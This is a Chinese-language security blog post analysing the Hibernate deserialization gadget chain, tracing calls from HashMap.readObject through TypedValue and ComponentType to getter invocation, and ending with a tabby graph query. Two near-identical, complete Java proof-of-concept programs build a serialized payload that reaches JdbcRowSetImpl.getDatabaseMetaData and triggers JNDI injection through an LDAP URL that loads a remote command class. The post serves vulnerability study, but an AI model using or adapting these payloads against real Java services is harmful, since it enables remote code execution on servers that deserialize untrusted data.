Hibernate反序列化浅析

文章发布时间:

最后更新时间:

Hibernate 反序列化

Hibernate ORM enables developers to more easily write applications whose data outlives the application process. As an Object/Relational Mapping (ORM) framework, Hibernate is concerned with data persistence as it applies to relational databases (via JDBC)

需要用到的类

  • BasicPropertyAccessor

    该类实现的接口 PropertyAccessor,定义获取类相关属性值的策略,其中包含以下两种方法

    接收 Class对象及属性名,并返回相应的Getter和Setter类

    image-20230104221253622

    再看实现类中同样也对Getter类和Setter类进行了实现。对于Getter类,其构造方法传入了Class对象,方法对象及属性名,在get方法中利用反射触发目标对象的method方法

    image-20230104221611738

    再看BasicPropertyAccessor实现的getGetter方法,其中存在如下调用链

    1
    2
    3
    4
    Getter getGetter(Class theClass, String propertyName)
    -> Getter createGetter(theClass, propertyName)
    -> Getter getGetterOrNull(Class theClass, String propertyName)
    -> Method getterMethod(Class theClass, String propertyName)

    image-20230104222120095

    该方法的逻辑如下:

    • 调用 Class 的 getDeclaredMethods 方法获取全部方法
    • Getter 方法不应该有参数,如果 Method 的参数类型数量不等于0,则跳过
    • 如果方法类型是 BRIDGE,则跳过
    • 获取方法名,如果以 get 或 is 开头,则可能为 getter 方法,sub 掉前缀后进行字符串的对比,在 Introspector.decapitalize() 方法中还进行的首字母大小写的处理。

    因此这个类的作用就是getGetter方法传入指定类实例和其属性,返回的Getter对象通过调用get方法即可触发指定getter方法

  • GetterMethodImpl

  • AbstractComponentTuplizer

    这个类提供的作用就是辅助上面的类来调用get方法

    其拥有一个Getter类数组成员属性getters,在getPropertyValue方法中会调用指定数组元素的get方法,并传入component指定实例对象

    image-20230104223110924

    该抽象类存在两个子类,PojoComponentTuplizerDynamicMapComponentTuplizer

    这对应着 Hibernate 的实体对象的类型,即 pojo 和 dynamic-map。pojo 代表将 Hibernate 类型映射为 Java 实体类,而 dynamic-map 将映射为 Map 对象

    PojoComponentTuplizer#getPropertyValues()中会调用父类的getPropertyValues方法,从而调用遍历调用getPropertyValue()

    image-20230104223508562

    这里留意一下属性optimizer,构造POC的时候可能需要用

  • TypedValue

    An ordered pair of a value and its Hibernate type

    接着看如何调用到getPropertyValues()方法

    Hibernate 中定义了一个自己的类型接口 org.hibernate.type.Hibernate.Type,用来定义 Java 类型和一个或多个 JDBC 类型之间的映射。针对不同的类型有不同的实现类,开发人员也可以自己实现这个接口来自定义类型。

    在构造方法中,除了赋值操作还调用了initTransients()

    image-20230104224656496

    其中对hashcode属性也作了初始化操作,其创建了一个ValueHolder对象,并重写了内部接口的initialize方法

    image-20230104224736017

    该类的hashCode方法存在调用链如下

    1
    2
    3
    TypedValue.hashCode()
    -> ValueHolder.getValue()
    -> ValueHolder$DeferredInitializer.initialize()

    也就是初始化时重写的方法将会被执行,其中执行了type属性的getHashCode()方法,传入参数value

    这时将type属性设置为ComponentType类,则会调用

    image-20230104231253324

    其中会调用getPropertyValue()方法,进而调用componentTuplizer属性的getPropertyValue方法

调用链如下:

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
TemplatesImpl.getOutputProperties()

攻击构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class HibernateStudy2 {
public static String fileName = "Hibernate2.bin";

public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");

// TemplatesImpl 恶意字节码
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://0.0.0.0:1389/Basic/Command/calc");
Method method = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");

// 创建 BasicPropertyAccessor 实例,用来触发 TemplatesImpl 的 getOutputProperties
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
Object getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");

// PojoComponentTuplizer 用来触发 BasicPropertyAccessor实例的 getter方法
Object tup = Reflections.createWithoutConstructor(pojoComponentTuplizerClass);
// 触发过程在其父类当中,需要其父类的 getter 数组
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tup, getters);

// 创建 ComponentType 实例, 用来触发 PojoComponentTuplizer 的 getPropertyValues
Object type = Reflections.createWithoutConstructor(componentTypeClass);

// 需要用到 componentTuplizer propertySpan propertyTypes 这三个属性
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tup);

Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);

Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});

// 创建 TypedValue 实例,用来调用 ComponentType 的 getHashCode
TypedValue typedValue = new TypedValue((Type) type, null);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "racerz");

// put 之后再修改 typedValue 中属性 value 避免 put 时触发 gadget
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, rs);

FileOutputStream fout = new FileOutputStream(fileName);
ObjectOutputStream outputStream = new ObjectOutputStream(fout);
outputStream.writeObject(hashMap);

FileInputStream fileInputStream = new FileInputStream(fileName);
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
}
}

image-20230105004711984

Hibernate2

其本质上和1是一样的,只不过最后getter方法换了一个sink函数

这里利用JdbcRowSetImpl的getDatabaseMetaData方法最终构成JNDI注入

image-20230105115615028

调用链如下

1
2
3
4
5
6
7
8
9
HashMap.readObject()
TypedValue.hashCode()
ValueHolder.getValue()
ValueHolder.DeferredInitializer().initialize()
ComponentType.getHashCode()
PojoComponentTuplizer.getPropertyValue()
AbstractComponentTuplizer.getPropertyValue()
BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get()
JdbcRowSetImpl.getDatabaseMetaData()

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
public static String fileName = "Hibernate2.bin";

public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");

// TemplatesImpl 恶意字节码
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName("ldap://0.0.0.0:1389/Basic/Command/calc");
Method method = JdbcRowSetImpl.class.getMethod("getDatabaseMetaData");

// 创建 BasicPropertyAccessor 实例,用来触发 TemplatesImpl 的 getOutputProperties
Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
constructor.setAccessible(true);
Object getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData");

// PojoComponentTuplizer 用来触发 BasicPropertyAccessor实例的 getter方法
Object tup = Reflections.createWithoutConstructor(pojoComponentTuplizerClass);
// 触发过程在其父类当中,需要其父类的 getter 数组
Field field = abstractComponentTuplizerClass.getDeclaredField("getters");
field.setAccessible(true);
Object getters = Array.newInstance(getter.getClass(), 1);
Array.set(getters, 0, getter);
field.set(tup, getters);

// 创建 ComponentType 实例, 用来触发 PojoComponentTuplizer 的 getPropertyValues
Object type = Reflections.createWithoutConstructor(componentTypeClass);

// 需要用到 componentTuplizer propertySpan propertyTypes 这三个属性
Field field1 = componentTypeClass.getDeclaredField("componentTuplizer");
field1.setAccessible(true);
field1.set(type, tup);

Field field2 = componentTypeClass.getDeclaredField("propertySpan");
field2.setAccessible(true);
field2.set(type, 1);

Field field3 = componentTypeClass.getDeclaredField("propertyTypes");
field3.setAccessible(true);
field3.set(type, new Type[]{(Type) type});

// 创建 TypedValue 实例,用来调用 ComponentType 的 getHashCode
TypedValue typedValue = new TypedValue((Type) type, null);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(typedValue, "racerz");

// put 之后再修改 typedValue 中属性 value 避免 put 时触发 gadget
Field valueField = TypedValue.class.getDeclaredField("value");
valueField.setAccessible(true);
valueField.set(typedValue, rs);

FileOutputStream fout = new FileOutputStream(fileName);
ObjectOutputStream outputStream = new ObjectOutputStream(fout);
outputStream.writeObject(hashMap);

FileInputStream fileInputStream = new FileInputStream(fileName);
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
}

image-20230105120442278

利用tabby查询

1
2
3
4
5
match (source:Method) where source.NAME="hash" and source.CLASSNAME="java.util.HashMap"
match (sink:Method) where sink.NAME="get" and sink.CLASSNAME="org.hibernate.property.BasicPropertyAccessor$BasicGetter"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 12) yield path
where any(n in nodes(path) where n.CLASSNAME="org.hibernate.engine.spi.TypedValue")
return * limit 100

image-20230105124210606

可以看到只能查到后半截,前半截不太一致,感觉是匿名函数导致的。前半截到equals那里断掉了

image-20230105151152272

参考链接

https://su18.org/post/ysoserial-su18-3/#hibernate1